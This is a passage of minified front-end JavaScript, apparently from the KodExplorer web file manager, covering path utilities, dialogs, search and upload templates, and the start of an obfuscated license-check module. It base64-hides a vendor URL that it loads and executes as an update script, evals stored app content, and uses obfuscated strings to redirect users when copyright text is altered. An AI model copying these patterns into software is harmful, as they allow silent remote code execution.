i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i) +},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var 